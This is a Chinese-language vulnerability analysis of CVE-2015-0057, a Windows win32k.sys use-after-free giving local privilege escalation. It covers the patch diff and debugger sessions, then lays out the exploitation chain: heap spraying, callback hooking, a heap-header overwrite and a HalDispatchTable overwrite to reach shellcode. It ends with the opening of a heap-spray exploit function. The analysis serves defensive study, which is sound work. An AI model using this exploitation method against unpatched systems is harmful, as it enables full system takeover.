作者: 深信服千里目安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/9-fXGgS0zNagyVWF2lwklg

一、漏洞信息

1、漏洞簡述

  • 漏洞名稱:Microsoft Windows Win32k Local Privilege Escalation Vulnerability
  • 漏洞編號:CVE-2015-0057
  • 漏洞類型:UAF
  • 漏洞影響:本地提權
  • CVSS3.0:N/A
  • CVSS2.0:7.2

2、組件和漏洞概述

win32k.sys是Windows的多用戶管理的sys文件。

Windows內核模式驅動程序(Win32k.sys)中存在一個特權提升漏洞,該漏洞不當處理內存中的對象時引起。成功利用此漏洞的攻擊者可以獲得更高的特權并讀取任意數量的內核內存。攻擊者可能會安裝程序;查看,更改或刪除數據;或創建具有完全管理權限的新帳戶。

3、影響版本

Windows Server 2003 Service Pack 2

Windows Server 2008 Service Pack 2

Windows Server 2008 R2 Service Pack 1

Windows Vista Service Pack 2

Windows Server 2012

Windows Server 2012 R2

Windows 7 Service Pack 1

Windows 8

Windows 8.1

Windows RT

Windows RT 8.1

4、解決方案

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-010

二、漏洞復現

1、環境搭建

Windows:Windows 7 sp1 x86,Windows 8.1 x64

win32k.sys:6.1.7601.17514,6.3.9600.17393

2、復現過程

運行指定版本的系統,執行EXP

image-20201127102054263

image-20201203213248108

三、漏洞分析

1、基本信息

  • 漏洞文件:win32k.sys
  • 漏洞函數:xxxEnableWndSBArrows
  • 漏洞對象:tagWND

2、背景知識

tagSBINFO(tagWND+0xB0)

大小0x24,是本次UAF的對象

image-20201204113939529

tagPROPLIST(tagWND+0xA8)

image-20201204115038744

tagPROP

image-20201206135109319

_LARGE_UNICODE_STRING(tagWND+0xD8)

image-20201204115447715

_LARGE_UNICODE_STRING,由RtlInitLargeUnicodeString函數可以初始化Buffer, NtUserDefSetText可以設置 tagWND 的 strName 字段,此函數可以做到桌面堆大小的任意分配

image-20201204141424033

image-20201204141622892

tagMENU(tagWND+0xB8,tagWND+0xC0)

image-20201204141839722

image-20201204142858297

_HEAP_ENTRY

表示堆頭,大小為0x10,前8字節如果有對齊的需要就存放上一個堆塊的數據,在這里一般是長度為0x8

kd> dt _heap_entry -vr
nt!_HEAP_ENTRY
struct _HEAP_ENTRY, 22 elements, 0x10 bytes
   +0x000 PreviousBlockPrivateData : Ptr64 to Void
   +0x008 Size             : Uint2B
   +0x00a Flags            : UChar
   +0x00b SmallTagIndex    : UChar
   +0x00c PreviousSize     : Uint2B
   +0x00e SegmentOffset    : UChar
   +0x00e LFHFlags         : UChar
   +0x00f UnusedBytes      : UChar
   +0x008 CompactHeader    : Uint8B
   +0x000 Reserved         : Ptr64 to Void
   +0x008 FunctionIndex    : Uint2B
   +0x00a ContextValue     : Uint2B
   +0x008 InterceptorValue : Uint4B
   +0x00c UnusedBytesLength : Uint2B
   +0x00e EntryOffset      : UChar
   +0x00f ExtendedBlockSignature : UChar
   +0x000 ReservedForAlignment : Ptr64 to Void
   +0x008 Code1            : Uint4B
   +0x00c Code2            : Uint2B
   +0x00e Code3            : UChar
   +0x00f Code4            : UChar
   +0x008 AgregateCode     : Uint8B

3、補丁對比

bindiff比較,主要是補丁代碼處將rbx和rsi+0xb0的值進行了比較

image-20201203195010274

看一下反編譯后的補丁對比,可以看到補丁后的43行加了一層判斷,假如不滿足條件,則會跳轉到錯誤處理函數

image-20201203192635880

image-20201203192845119

4、漏洞分析

漏洞利用流程

1、首先通過堆噴將一段堆空間覆蓋成大量tagWND+tagPROPLIST的結構,有一塊是tagWND+tagSBINFO

2、之后通過用戶態回調(xxxDrawScrollBar)hook了_ClientLoadLibrary函數。然后我們將我們自己定義回調回來的tagWND釋放掉,再次通過setPROP申請回來,此時原來的tagSBINFO(0x28+0x8)的數據結構就變成tagPROPLIST+tagPROP(0x18+0x10+0x8)的結構了

image-20201207110606663

3、后續系統將這塊空間(原tagSBINFO現tagPROPLIST+tagPROP)進行了寫入操作,將里面的cEntries由0x2改為了0xe,這樣我們就可以覆蓋(0xe-0x2)*0x10大小的緩沖區了(這里就實現了UAF,通過原tagSBINFO的指針將第一個字節進行了改變,這樣的操作在tagSBINFO中是很正常的,但是在tagPROPLIST中就可以造成緩沖區溢出,我們可以多溢出0xc個tagPROP大小)

image-20201207111038212

4、在原tagSBINFO現tagPROPLIST+tagPROP的位置后面放入strNAME+tagMENU的結構,通過覆蓋堆頭,修改堆塊大小標識符,將后面tagMENU的空間也覆蓋入這個堆塊上了,這樣我們釋放這個堆塊,后面的tagMENU也被釋放了,但是這個堆塊的句柄還在我們手里,再次進行分配,就又造成了一次UAF漏洞(覆蓋堆頭的目的是為了UAF,我們可以先用SetMenuItemInfoA函數修改 rgItems 字段從而實現任意寫,寫的內容就是shellcode的指針,這個位置實際上就是HalDispatchTable+0x8的位置,之后覆蓋整塊空間再分配,通過rop執行到shellcode的地址,完成提權)

數據結構大概如此圖:

6

靜態分析:

先看一下漏洞函數,這樣看起來比較丑,我們并不知道這里面的諸如v3等等的變量含義是什么意思,這時我們可以在windbg里面通過dt查看tagWND的結構體

image-20201204173442385

kd> dt win32k!tagWND
   +0x000 head             : _THRDESKHEAD
   +0x028 state            : Uint4B
   +0x028 bHasMeun         : Pos 0, 1 Bit
   +0x028 bHasVerticalScrollbar : Pos 1, 1 Bit
   +0x028 bHasHorizontalScrollbar : Pos 2, 1 Bit
   +0x028 bHasCaption      : Pos 3, 1 Bit
   +0x028 bSendSizeMoveMsgs : Pos 4, 1 Bit
   +0x028 bMsgBox          : Pos 5, 1 Bit
   +0x028 bActiveFrame     : Pos 6, 1 Bit
   +0x028 bHasSPB          : Pos 7, 1 Bit
   +0x028 bNoNCPaint       : Pos 8, 1 Bit
   +0x028 bSendEraseBackground : Pos 9, 1 Bit
   +0x028 bEraseBackground : Pos 10, 1 Bit
   +0x028 bSendNCPaint     : Pos 11, 1 Bit
   +0x028 bInternalPaint   : Pos 12, 1 Bit
   +0x028 bUpdateDirty     : Pos 13, 1 Bit
   +0x028 bHiddenPopup     : Pos 14, 1 Bit
   +0x028 bForceMenuDraw   : Pos 15, 1 Bit
   +0x028 bDialogWindow    : Pos 16, 1 Bit
   +0x028 bHasCreatestructName : Pos 17, 1 Bit
   +0x028 bServerSideWindowProc : Pos 18, 1 Bit
   +0x028 bAnsiWindowProc  : Pos 19, 1 Bit
   +0x028 bBeingActivated  : Pos 20, 1 Bit
   +0x028 bHasPalette      : Pos 21, 1 Bit
   +0x028 bPaintNotProcessed : Pos 22, 1 Bit
   +0x028 bSyncPaintPending : Pos 23, 1 Bit
   +0x028 bRecievedQuerySuspendMsg : Pos 24, 1 Bit
   +0x028 bRecievedSuspendMsg : Pos 25, 1 Bit
   +0x028 bToggleTopmost   : Pos 26, 1 Bit
   +0x028 bRedrawIfHung    : Pos 27, 1 Bit
   +0x028 bRedrawFrameIfHung : Pos 28, 1 Bit
   +0x028 bAnsiCreator     : Pos 29, 1 Bit
   +0x028 bMaximizesToMonitor : Pos 30, 1 Bit
   +0x028 bDestroyed       : Pos 31, 1 Bit
   +0x02c state2           : Uint4B
   +0x02c bWMPaintSent     : Pos 0, 1 Bit
   +0x02c bEndPaintInvalidate : Pos 1, 1 Bit
   +0x02c bStartPaint      : Pos 2, 1 Bit
   +0x02c bOldUI           : Pos 3, 1 Bit
   +0x02c bHasClientEdge   : Pos 4, 1 Bit
   +0x02c bBottomMost      : Pos 5, 1 Bit
   +0x02c bFullScreen      : Pos 6, 1 Bit
   +0x02c bInDestroy       : Pos 7, 1 Bit
   +0x02c bWin31Compat     : Pos 8, 1 Bit
   +0x02c bWin40Compat     : Pos 9, 1 Bit
   +0x02c bWin50Compat     : Pos 10, 1 Bit
   +0x02c bMaximizeMonitorRegion : Pos 11, 1 Bit
   +0x02c bCloseButtonDown : Pos 12, 1 Bit
   +0x02c bMaximizeButtonDown : Pos 13, 1 Bit
   +0x02c bMinimizeButtonDown : Pos 14, 1 Bit
   +0x02c bHelpButtonDown  : Pos 15, 1 Bit
   +0x02c bScrollBarLineUpBtnDown : Pos 16, 1 Bit
   +0x02c bScrollBarPageUpBtnDown : Pos 17, 1 Bit
   +0x02c bScrollBarPageDownBtnDown : Pos 18, 1 Bit
   +0x02c bScrollBarLineDownBtnDown : Pos 19, 1 Bit
   +0x02c bAnyScrollButtonDown : Pos 20, 1 Bit
   +0x02c bScrollBarVerticalTracking : Pos 21, 1 Bit
   +0x02c bForceNCPaint    : Pos 22, 1 Bit
   +0x02c bForceFullNCPaintClipRgn : Pos 23, 1 Bit
   +0x02c FullScreenMode   : Pos 24, 3 Bits
   +0x02c bCaptionTextTruncated : Pos 27, 1 Bit
   +0x02c bNoMinmaxAnimatedRects : Pos 28, 1 Bit
   +0x02c bSmallIconFromWMQueryDrag : Pos 29, 1 Bit
   +0x02c bShellHookRegistered : Pos 30, 1 Bit
   +0x02c bWMCreateMsgProcessed : Pos 31, 1 Bit
   +0x030 ExStyle          : Uint4B
   +0x030 bWS_EX_DLGMODALFRAME : Pos 0, 1 Bit
   +0x030 bUnused1         : Pos 1, 1 Bit
   +0x030 bWS_EX_NOPARENTNOTIFY : Pos 2, 1 Bit
   +0x030 bWS_EX_TOPMOST   : Pos 3, 1 Bit
   +0x030 bWS_EX_ACCEPTFILE : Pos 4, 1 Bit
   +0x030 bWS_EX_TRANSPARENT : Pos 5, 1 Bit
   +0x030 bWS_EX_MDICHILD  : Pos 6, 1 Bit
   +0x030 bWS_EX_TOOLWINDOW : Pos 7, 1 Bit
   +0x030 bWS_EX_WINDOWEDGE : Pos 8, 1 Bit
   +0x030 bWS_EX_CLIENTEDGE : Pos 9, 1 Bit
   +0x030 bWS_EX_CONTEXTHELP : Pos 10, 1 Bit
   +0x030 bMakeVisibleWhenUnghosted : Pos 11, 1 Bit
   +0x030 bWS_EX_RIGHT     : Pos 12, 1 Bit
   +0x030 bWS_EX_RTLREADING : Pos 13, 1 Bit
   +0x030 bWS_EX_LEFTSCROLLBAR : Pos 14, 1 Bit
   +0x030 bUnused2         : Pos 15, 1 Bit
   +0x030 bWS_EX_CONTROLPARENT : Pos 16, 1 Bit
   +0x030 bWS_EX_STATICEDGE : Pos 17, 1 Bit
   +0x030 bWS_EX_APPWINDOW : Pos 18, 1 Bit
   +0x030 bWS_EX_LAYERED   : Pos 19, 1 Bit
   +0x030 bWS_EX_NOINHERITLAYOUT : Pos 20, 1 Bit
   +0x030 bUnused3         : Pos 21, 1 Bit
   +0x030 bWS_EX_LAYOUTRTL : Pos 22, 1 Bit
   +0x030 bWS_EX_NOPADDEDBORDER : Pos 23, 1 Bit
   +0x030 bUnused4         : Pos 24, 1 Bit
   +0x030 bWS_EX_COMPOSITED : Pos 25, 1 Bit
   +0x030 bUIStateActive   : Pos 26, 1 Bit
   +0x030 bWS_EX_NOACTIVATE : Pos 27, 1 Bit
   +0x030 bWS_EX_COMPOSITEDCompositing : Pos 28, 1 Bit
   +0x030 bRedirected      : Pos 29, 1 Bit
   +0x030 bUIStateKbdAccelHidden : Pos 30, 1 Bit
   +0x030 bUIStateFocusRectHidden : Pos 31, 1 Bit
   +0x034 style            : Uint4B
   +0x034 bReserved1       : Pos 0, 16 Bits
   +0x034 bWS_MAXIMIZEBOX  : Pos 16, 1 Bit
   +0x034 bReserved2       : Pos 0, 16 Bits
   +0x034 bWS_TABSTOP      : Pos 16, 1 Bit
   +0x034 bReserved3       : Pos 0, 16 Bits
   +0x034 bUnused5         : Pos 16, 1 Bit
   +0x034 bWS_MINIMIZEBOX  : Pos 17, 1 Bit
   +0x034 bReserved4       : Pos 0, 16 Bits
   +0x034 bUnused6         : Pos 16, 1 Bit
   +0x034 bWS_GROUP        : Pos 17, 1 Bit
   +0x034 bReserved5       : Pos 0, 16 Bits
   +0x034 bUnused7         : Pos 16, 2 Bits
   +0x034 bWS_THICKFRAME   : Pos 18, 1 Bit
   +0x034 bReserved6       : Pos 0, 16 Bits
   +0x034 bUnused8         : Pos 16, 2 Bits
   +0x034 bWS_SIZEBOX      : Pos 18, 1 Bit
   +0x034 bReserved7       : Pos 0, 16 Bits
   +0x034 bUnused9         : Pos 16, 3 Bits
   +0x034 bWS_SYSMENU      : Pos 19, 1 Bit
   +0x034 bWS_HSCROLL      : Pos 20, 1 Bit
   +0x034 bWS_VSCROLL      : Pos 21, 1 Bit
   +0x034 bWS_DLGFRAME     : Pos 22, 1 Bit
   +0x034 bWS_BORDER       : Pos 23, 1 Bit
   +0x034 bMaximized       : Pos 24, 1 Bit
   +0x034 bWS_CLIPCHILDREN : Pos 25, 1 Bit
   +0x034 bWS_CLIPSIBLINGS : Pos 26, 1 Bit
   +0x034 bDisabled        : Pos 27, 1 Bit
   +0x034 bVisible         : Pos 28, 1 Bit
   +0x034 bMinimized       : Pos 29, 1 Bit
   +0x034 bWS_CHILD        : Pos 30, 1 Bit
   +0x034 bWS_POPUP        : Pos 31, 1 Bit
   +0x038 hModule          : Ptr64 Void
   +0x040 hMod16           : Uint2B
   +0x042 fnid             : Uint2B
   +0x048 spwndNext        : Ptr64 tagWND
   +0x050 spwndPrev        : Ptr64 tagWND
   +0x058 spwndParent      : Ptr64 tagWND
   +0x060 spwndChild       : Ptr64 tagWND
   +0x068 spwndOwner       : Ptr64 tagWND
   +0x070 rcWindow         : tagRECT
   +0x080 rcClient         : tagRECT
   +0x090 lpfnWndProc      : Ptr64     int64 
   +0x098 pcls             : Ptr64 tagCLS
   +0x0a0 hrgnUpdate       : Ptr64 HRGN__
   +0x0a8 ppropList        : Ptr64 tagPROPLIST          
   +0x0b0 pSBInfo          : Ptr64 tagSBINFO
   +0x0b8 spmenuSys        : Ptr64 tagMENU
   +0x0c0 spmenu           : Ptr64 tagMENU
   +0x0c8 hrgnClip         : Ptr64 HRGN__
   +0x0d0 hrgnNewFrame     : Ptr64 HRGN__
   +0x0d8 strName          : _LARGE_UNICODE_STRING
   +0x0e8 cbwndExtra       : Int4B
   +0x0f0 spwndLastActive  : Ptr64 tagWND
   +0x0f8 hImc             : Ptr64 HIMC__
   +0x100 dwUserData       : Uint8B
   +0x108 pActCtx          : Ptr64 _ACTIVATION_CONTEXT
   +0x110 pTransform       : Ptr64 _D3DMATRIX
   +0x118 spwndClipboardListenerNext : Ptr64 tagWND
   +0x120 ExStyle2         : Uint4B
   +0x120 bClipboardListener : Pos 0, 1 Bit
   +0x120 bLayeredInvalidate : Pos 1, 1 Bit
   +0x120 bRedirectedForPrint : Pos 2, 1 Bit
   +0x120 bLinked          : Pos 3, 1 Bit
   +0x120 bLayeredForDWM   : Pos 4, 1 Bit
   +0x120 bLayeredLimbo    : Pos 5, 1 Bit
   +0x120 bHIGHDPI_UNAWARE_Unused : Pos 6, 1 Bit
   +0x120 bVerticallyMaximizedLeft : Pos 7, 1 Bit
   +0x120 bVerticallyMaximizedRight : Pos 8, 1 Bit
   +0x120 bHasOverlay      : Pos 9, 1 Bit
   +0x120 bConsoleWindow   : Pos 10, 1 Bit
   +0x120 bChildNoActivate : Pos 11, 1 Bit

通過結構體,我們可以清楚的知曉要操作哪一塊內存,下面是優化后函數的部分截圖,這里面的第二個和第三個參數可以通過在線網站

https://doxygen.reactos.org/

來查詢內核函數的原型函數,不過問題不大,我們知道了v3就是pSBInfo就可以了,上面對一些結構體進行了介紹

image-20201204180131653

如果只對這個漏洞進行POC的編寫,分析到這一步就可以了,步驟大概為:

窗口創建->EnableScrollBar(后面兩個參數為3)->CreateWindowExA->設置ShowWindow和UpdateWindow使窗口可見->Hook__ClientLoadLibrary并DestroyWindow

接下來繼續看下哪里出了問題導致這次攻擊的發生,觀察偽代碼發現,在2處堆pSBInfo進行了修改

image-20201205092343101

方才的偽代碼在匯編中的形式如下,正常情況下函數會走到1的位置

image-20201205092648330

在上面的分析我們得出了結論,發現在這里將0x2改為了0xe,造成了UAF

補丁前動態分析:

我們先看一下回調函數的調用棧,我們在調用xxxDrawScrollBar的地址和該地址的下一條指令下斷點,再向nt!KeUserModeCallback下斷點(因為任何的user-mode callback流程最終內核到用戶層的入口點都會是 nt!KeUserModeCallback)

image-20201206115546324

這時我們執行,觀察函數調用棧

image-20201206120927932

此時我們查看下tagWND的數據結構,rdi的值為tagWND的起始地址

image-20201205103543529

image-20201205104146985

現在前置內容已經講完了,我們從頭來看一下這個程序實際執行的時候會有什么樣的動作

首先下硬件斷點

image-20201204155638702

之后執行exp,可以看到windbg中斷在了函數起始的位置

image-20201204155829876

image-20201204155853092

然后執行到第一個xxxDrawScrollBar的位置上,此時觀察下rbx和rdi+0xb0位置上的值,可以觀察到,此時rdi+0xb0位置上的值還并未改變

image-20201204163035513

這時F10進入下一步,執行完了xxxDrawScrollBar,再觀察下rbx和rdi+0xb0位置的值,可以發現,兩塊緩沖區都被破壞掉了

image-20201204163148240

此時我們看rdi已經沒有用了,我們真正操作的桌面堆空間實際上是rbx附近的內存空間,而其附近的內存空間已被堆噴排布過了,該空間布局可供參考,有助于理解該漏洞對內存的操作

d> dd rbx-0x200 L200
fffff901`40974990  00000000 00000000 00000000 00000000
fffff901`409749a0  40c9b9f0 fffff901 00000000 00000000
fffff901`409749b0  00000000 00000000 00000000 00000000
fffff901`409749c0  00000000 00000000 00000000 00000000
fffff901`409749d0  00000000 00000000 00000000 00000000
fffff901`409749e0  00000000 00000000 9ff56c80 08000874
fffff901`409749f0  00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974a00  00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974a10  0000225e 00000000 96f56c89 0800087d
fffff901`40974a20  000302af 00000000 00000000 00000000
fffff901`40974a30  00000000 00000000 da0a2090 ffffe000
fffff901`40974a40  40974a20 fffff901 00000000 00000000
fffff901`40974a50  00000008 00000001 00000000 00000000
fffff901`40974a60  00000000 00000000 00000000 00000000
fffff901`40974a70  40c9be80 fffff901 00000000 00000000
fffff901`40974a80  00000000 00000000 00000000 00000000
fffff901`40974a90  00000000 00000000 00000000 00000000
fffff901`40974aa0  00000000 00000000 00000000 00000000
fffff901`40974ab0  00000000 00000000 9ff56c80 08000874
fffff901`40974ac0  00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974ad0  00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974ae0  0000225f 00000000 96f56c89 0800087d
fffff901`40974af0  000302b1 00000000 00000000 00000000
fffff901`40974b00  00000000 00000000 da0a2090 ffffe000
fffff901`40974b10  40974af0 fffff901 00000000 00000000
fffff901`40974b20  00000008 00000001 00000000 00000000
fffff901`40974b30  00000000 00000000 00000000 00000000
fffff901`40974b40  40c9c310 fffff901 00000000 00000000
fffff901`40974b50  00000000 00000000 00000000 00000000
fffff901`40974b60  00000000 00000000 00000000 00000000
fffff901`40974b70  00000000 00000000 00000000 00000000
fffff901`40974b80  00000000 00000000 9ff56c80 08000874
fffff901`40974b90  00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974ba0  00000001 00000000 ccccdddd ccccdddd
fffff901`40974bb0  00000006 00000000 8cf56c93 1000087d
fffff901`40974bc0  43434343 43434343 43434343 43434343
fffff901`40974bd0  43434343 43434343 43434343 43434343
fffff901`40974be0  43434343 43434343 43434343 43434343
fffff901`40974bf0  43434343 43434343 43434343 43434343
fffff901`40974c00  43434343 43434343 43434343 43434343
fffff901`40974c10  43434343 43434343 43434343 43434343
fffff901`40974c20  43434343 43434343 43434343 43434343
fffff901`40974c30  43434343 43434343 43434343 43434343
fffff901`40974c40  43434343 43434343 43434343 43434343
fffff901`40974c50  43434343 43434343 43434343 43434343
fffff901`40974c60  43434343 43434343 43434343 43434343
fffff901`40974c70  43434343 43434343 43434343 43434343
fffff901`40974c80  43434343 43434343 43434343 43434343
fffff901`40974c90  43434343 43434343 43434343 43434343
fffff901`40974ca0  43434343 43434343 43434343 43434343
fffff901`40974cb0  00000000 00000000 96f56c89 0800086e
fffff901`40974cc0  000302b3 00000000 00000000 00000000
fffff901`40974cd0  00000000 00000000 da0a2090 ffffe000
fffff901`40974ce0  40974cc0 fffff901 00000000 00000000
fffff901`40974cf0  00000008 00000001 00000000 00000000
fffff901`40974d00  00000000 00000000 00000000 00000000
fffff901`40974d10  40c9c7a0 fffff901 00000000 00000000
fffff901`40974d20  00000000 00000000 00000000 00000000
fffff901`40974d30  00000000 00000000 00000000 00000000
fffff901`40974d40  00000000 00000000 00000000 00000000
fffff901`40974d50  00000000 00000000 8cf56c93 10000874
fffff901`40974d60  00000000 00000000 9df56d83 10000865
fffff901`40974d70  41414141 41414141 41414141 41414141
fffff901`40974d80  41414141 41414141 41414141 41414141
fffff901`40974d90  41414141 41414141 41414141 41414141
fffff901`40974da0  41414141 41414141 41414141 41414141
fffff901`40974db0  41414141 41414141 41414141 41414141
fffff901`40974dc0  41414141 41414141 41414141 41414141
fffff901`40974dd0  41414141 41414141 41414141 41414141
fffff901`40974de0  41414141 41414141 41414141 41414141
fffff901`40974df0  41414141 41414141 41414141 41414141
fffff901`40974e00  41414141 41414141 41414141 41414141
fffff901`40974e10  41414141 41414141 41414141 41414141
fffff901`40974e20  41414141 41414141 41414141 41414141
fffff901`40974e30  41414141 41414141 41414141 41414141
fffff901`40974e40  41414141 41414141 41414141 41414141
fffff901`40974e50  00000000 00000000 9ff56c80 0800086e
fffff901`40974e60  00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974e70  00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974e80  00002261 00000000 96f56c89 0800087d
fffff901`40974e90  000302b5 00000000 00000000 00000000
fffff901`40974ea0  00000000 00000000 da0a2090 ffffe000
fffff901`40974eb0  40974e90 fffff901 00000000 00000000
fffff901`40974ec0  00000008 00000001 00000000 00000000
fffff901`40974ed0  00000000 00000000 00000000 00000000
fffff901`40974ee0  40c9cc30 fffff901 00000000 00000000
fffff901`40974ef0  00000000 00000000 00000000 00000000
fffff901`40974f00  00000000 00000000 00000000 00000000
fffff901`40974f10  00000000 00000000 00000000 00000000
fffff901`40974f20  00000000 00000000 9ff56c80 08000874
fffff901`40974f30  00000002 00000002 aaaabbbb aaaabbbb
fffff901`40974f40  00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40974f50  00002262 00000000 96f56c89 0800087d
fffff901`40974f60  000302b7 00000000 00000000 00000000
fffff901`40974f70  00000000 00000000 da0a2090 ffffe000
fffff901`40974f80  40974f60 fffff901 00000000 00000000
fffff901`40974f90  00000008 00000001 00000000 00000000
fffff901`40974fa0  00000000 00000000 00000000 00000000
fffff901`40974fb0  40c9d0c0 fffff901 00000000 00000000
fffff901`40974fc0  00000000 00000000 00000000 00000000
fffff901`40974fd0  00000000 00000000 00000000 00000000
fffff901`40974fe0  00000000 00000000 00000000 00000000
fffff901`40974ff0  00000000 00000000 9ff56c80 08000874
fffff901`40975000  00000002 00000002 aaaabbbb aaaabbbb
fffff901`40975010  00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`40975020  00002263 00000000 96f56c89 0800087d
fffff901`40975030  000302b9 00000000 00000000 00000000
fffff901`40975040  00000000 00000000 da0a2090 ffffe000
fffff901`40975050  40975030 fffff901 00000000 00000000
fffff901`40975060  00000008 00000001 00000000 00000000
fffff901`40975070  00000000 00000000 00000000 00000000
fffff901`40975080  40c9d550 fffff901 00000000 00000000
fffff901`40975090  00000000 00000000 00000000 00000000
fffff901`409750a0  00000000 00000000 00000000 00000000
fffff901`409750b0  00000000 00000000 00000000 00000000
fffff901`409750c0  00000000 00000000 9ff56c80 08000874
fffff901`409750d0  00000002 00000002 aaaabbbb aaaabbbb
fffff901`409750e0  00000001 00000000 bbbbbbbb bbbbbbbb
fffff901`409750f0  00002264 00000000 96f56c89 0800087d
fffff901`40975100  000302bb 00000000 00000000 00000000
fffff901`40975110  00000000 00000000 da0a2090 ffffe000
fffff901`40975120  40975100 fffff901 00000000 00000000
fffff901`40975130  00000008 00000001 00000000 00000000
fffff901`40975140  00000000 00000000 00000000 00000000
fffff901`40975150  40c9d9e0 fffff901 00000000 00000000
fffff901`40975160  00000000 00000000 00000000 00000000
fffff901`40975170  00000000 00000000 00000000 00000000
fffff901`40975180  00000000 00000000 00000000 00000000

此時直接觀察rbx,結構還是taSBINFO的結構

image-20201207153600256

之后步過xxxDrawScrollBar,此時數據結構已經換成了tagPROPLIST+tagPROP

image-20201207153758965

其實上面的兩塊(其實是同一塊)數據結構前面還有一個堆頭,如下所示,只不過rbx存儲的是帶有實際意義的數據結構的起始位置

image-20201207154108989

當執行過fffff960`003254de之后,cEntries變為了0xe,此時再次使用,就可以向后覆蓋_heap_entry

image-20201207154404047

此時的數據結構

kd> dd rbx-8 L100
fffff901`40a73a08  9ff56c80 08000874 0000000e 00000002      tagProplist start
fffff901`40a73a18  aaaabbbb aaaabbbb 00000001 00000000
fffff901`40a73a28  ccccdddd ccccdddd 00000006 00000000      tagProplist end     
fffff901`40a73a38  8cf56c93 1000087d 43434343 43434343      _heap_entry被修改,此時后面的tagMENU結構被該堆頭覆蓋
fffff901`40a73a48  43434343 43434343 43434343 43434343
fffff901`40a73a58  43434343 43434343 43434343 43434343
fffff901`40a73a68  43434343 43434343 43434343 43434343
fffff901`40a73a78  43434343 43434343 43434343 43434343
fffff901`40a73a88  43434343 43434343 43434343 43434343
fffff901`40a73a98  43434343 43434343 43434343 43434343
fffff901`40a73aa8  43434343 43434343 43434343 43434343
fffff901`40a73ab8  43434343 43434343 43434343 43434343
fffff901`40a73ac8  43434343 43434343 43434343 43434343
fffff901`40a73ad8  43434343 43434343 43434343 43434343
fffff901`40a73ae8  43434343 43434343 43434343 43434343
fffff901`40a73af8  43434343 43434343 43434343 43434343
fffff901`40a73b08  43434343 43434343 43434343 43434343
fffff901`40a73b18  43434343 43434343 43434343 43434343
fffff901`40a73b28  43434343 43434343 00000000 00000000
fffff901`40a73b38  96f56c89 0800086e 000426ed 00000000      tagMENU start
fffff901`40a73b48  00000000 00000000 00000000 00000000
fffff901`40a73b58  da0a2090 ffffe000 40a73b40 fffff901
fffff901`40a73b68  00000000 00000000 00000008 00000001
fffff901`40a73b78  00000000 00000000 00000000 00000000
fffff901`40a73b88  00000000 00000000 408befe0 fffff901      將該值通過SetMenuItemInfoA修改為shellcode的地址,此時尚未修改
fffff901`40a73b98  00000000 00000000 00000000 00000000
fffff901`40a73ba8  00000000 00000000 00000000 00000000
fffff901`40a73bb8  00000000 00000000 00000000 00000000
fffff901`40a73bc8  00000000 00000000 00000000 00000000
fffff901`40a73bd8  8cf56c93 10000874 00000000 00000000
fffff901`40a73be8  9df56d83 10000865 41414141 41414141
fffff901`40a73bf8  41414141 41414141 41414141 41414141
fffff901`40a73c08  41414141 41414141 41414141 41414141
fffff901`40a73c18  41414141 41414141 41414141 41414141
fffff901`40a73c28  41414141 41414141 41414141 41414141
fffff901`40a73c38  41414141 41414141 41414141 41414141
fffff901`40a73c48  41414141 41414141 41414141 41414141
fffff901`40a73c58  41414141 41414141 41414141 41414141
fffff901`40a73c68  41414141 41414141 41414141 41414141
fffff901`40a73c78  41414141 41414141 41414141 41414141
fffff901`40a73c88  41414141 41414141 41414141 41414141
fffff901`40a73c98  41414141 41414141 41414141 41414141
fffff901`40a73ca8  41414141 41414141 41414141 41414141
fffff901`40a73cb8  41414141 41414141 41414141 41414141
fffff901`40a73cc8  41414141 41414141 00000000 00000000
fffff901`40a73cd8  9ff56c80 0800086e 00000002 00000002
fffff901`40a73ce8  aaaabbbb aaaabbbb 00000001 00000000
fffff901`40a73cf8  bbbbbbbb bbbbbbbb 00002261 00000000
fffff901`40a73d08  96f56c89 0800087d 000426eb 00000000
fffff901`40a73d18  00000000 00000000 00000000 00000000
fffff901`40a73d28  da0a2090 ffffe000 40a73d10 fffff901
fffff901`40a73d38  00000000 00000000 00000008 00000001
fffff901`40a73d48  00000000 00000000 00000000 00000000
fffff901`40a73d58  00000000 00000000 408bf470 fffff901
fffff901`40a73d68  00000000 00000000 00000000 00000000
fffff901`40a73d78  00000000 00000000 00000000 00000000
fffff901`40a73d88  00000000 00000000 00000000 00000000
fffff901`40a73d98  00000000 00000000 00000000 00000000
fffff901`40a73da8  9ff56c80 08000874 00000002 00000002
fffff901`40a73db8  aaaabbbb aaaabbbb 00000001 00000000
fffff901`40a73dc8  bbbbbbbb bbbbbbbb 00002262 00000000
fffff901`40a73dd8  96f56c89 0800087d 000426e9 00000000
fffff901`40a73de8  00000000 00000000 00000000 00000000
fffff901`40a73df8  da0a2090 ffffe000 40a73de0 fffff901

補丁后動態分析

首先下硬件斷點

image-20201204143757002

執行exp,可以看到windbg中斷在了函數起始的位置

image-20201204144040193

image-20201204144019694

然后執行到第一個xxxDrawScrollBar的位置上,此時觀察下rbx和rdi+0xb0位置上的值,可以觀察到,此時rdi+0xb0位置上的值還并未改變

image-20201204144823840

這時F10進入下一步,執行完了xxxDrawScrollBar,再觀察下rbx和rdi+0xb0位置的值,可以發現,兩塊緩沖區都被破壞掉了

image-20201204145454033

不進行跳轉,執行releasedc

image-20201204154320189

image-20201204154428758

成功的將漏洞利用防御住了

5、EXP分析

本文根據公網已有的exp分析,包括繞過各個安全機制,hook等等,提煉出以下幾個關鍵步驟:

1、堆噴函數,主要進行堆空間的布局,也就是堆風水,堆噴后堆空間的布局基本和上面動態分析的差不多,這里就不再贅述了

BOOL SprayObject()
{
    int j = 0;
    CHAR o1str[OVERLAY1_SIZE - _HEAP_BLOCK_SIZE] = { 0 };
    CHAR o2str[OVERLAY2_SIZE - _HEAP_BLOCK_SIZE] = { 0 };
    LARGE_UNICODE_STRING o1lstr, o2lstr;

    // build first overlay
    memset(o1str, '\x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
    RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE - 2);

